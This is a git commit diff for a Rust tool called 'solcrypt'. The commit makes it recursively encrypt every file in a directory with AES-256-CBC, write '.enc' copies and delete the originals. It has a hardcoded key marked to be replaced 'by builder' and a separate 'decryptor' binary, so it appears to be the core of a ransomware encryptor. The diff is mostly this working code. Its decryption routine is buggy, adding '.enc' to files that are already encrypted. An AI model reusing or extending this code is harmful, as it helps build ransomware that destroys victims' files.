feat: enc/dec directories instead of files

This commit is contained in:
Xory 2024-06-10 11:43:46 +03:00
parent 363a39c26e
commit f192d2c239
8 changed files with 75 additions and 10 deletions

View file

@ -3,6 +3,15 @@ name = "solcrypt"
version = "0.1.0"
edition = "2021"
[[bin]]
name = "solcrypt_main"
path = "src/encrypt.rs"
[[bin]]
name = "decryptor"
path = "src/decrypt.rs"
[dependencies]
aes = "0.7.5"
block-modes = "0.8.1"

View file

@ -7,6 +7,8 @@ use aes::Aes256;
use block_modes::{BlockMode, Cbc};
use block_modes::block_padding::Pkcs7;
use std::fs::File;
use std::path::{Path, PathBuf};
use std::fs;
use std::io::{Read, Write};
use std::error::Error;
use std::str;
@ -18,7 +20,7 @@ const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder";
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytes
pub fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
// Read the input file
let mut input_file = File::open(input_path)?;
let mut buffer = Vec::new();
@ -35,7 +37,7 @@ pub fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn E
Ok(())
}
pub fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
// Read the encrypted file
let mut input_file = File::open(input_path)?;
let mut buffer = Vec::new();
@ -51,3 +53,44 @@ pub fn decrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn E
Ok(())
}
fn get_files(directory_path: &str) -> Vec<String> {
let directory_path = Path::new(directory_path);
let entries = fs::read_dir(directory_path).expect("Failed to read directory");
let mut file_list = Vec::new();
for entry in entries {
let entry = entry.expect("Failed to read entry");
let file_path = entry.path();
if file_path.is_file() {
file_list.push(file_path.to_string_lossy().to_string());
} else if file_path.is_dir() {
let sub_files = get_files(&file_path.to_string_lossy().to_string());
file_list.extend(sub_files);
}
}
file_list
}
pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
let directory = get_files(directory_path);
for mut file in directory {
let encrypted_file_path = file.as_mut().to_owned() + ".enc";
encrypt_file(&file, &encrypted_file_path)?;
fs::remove_file(file).unwrap();
}
Ok(())
}
pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
let directory = get_files(directory_path);
for mut file in directory {
let encrypted_file_path = file.as_mut().to_owned() + ".enc";
decrypt_file(&file, &encrypted_file_path)?;
}
Ok(())
}

9
src/decrypt.rs Normal file
View file

@ -0,0 +1,9 @@
mod crypto;
use crypto::decrypt_directory;
fn main() {
println!("Hello, world!");
println!("Encrypting test directory");
decrypt_directory("testdir").unwrap();
}

9
src/encrypt.rs Normal file
View file

@ -0,0 +1,9 @@
mod crypto;
use crypto::encrypt_directory;
fn main() {
println!("Hello, world!");
println!("Encrypting test directory");
encrypt_directory("testdir").unwrap();
}

View file

@ -1,8 +0,0 @@
mod crypto;
use crypto::{encrypt_file, decrypt_file};
fn main() {
println!("Hello, world!");
encrypt_file("testfiles/meow.txt", "testfiles/meow.enc").unwrap();
decrypt_file("testfiles/meow.enc", "testfiles/meow.dec.text").unwrap();
}

1
testdir/dir2/meow1.txt Normal file
View file

@ -0,0 +1 @@
meow

1
testdir/dir2/meow2.txt Normal file
View file

@ -0,0 +1 @@
meow meow

1
testdir/meow.txt Normal file
View file

@ -0,0 +1 @@
cats would rule the world better than humans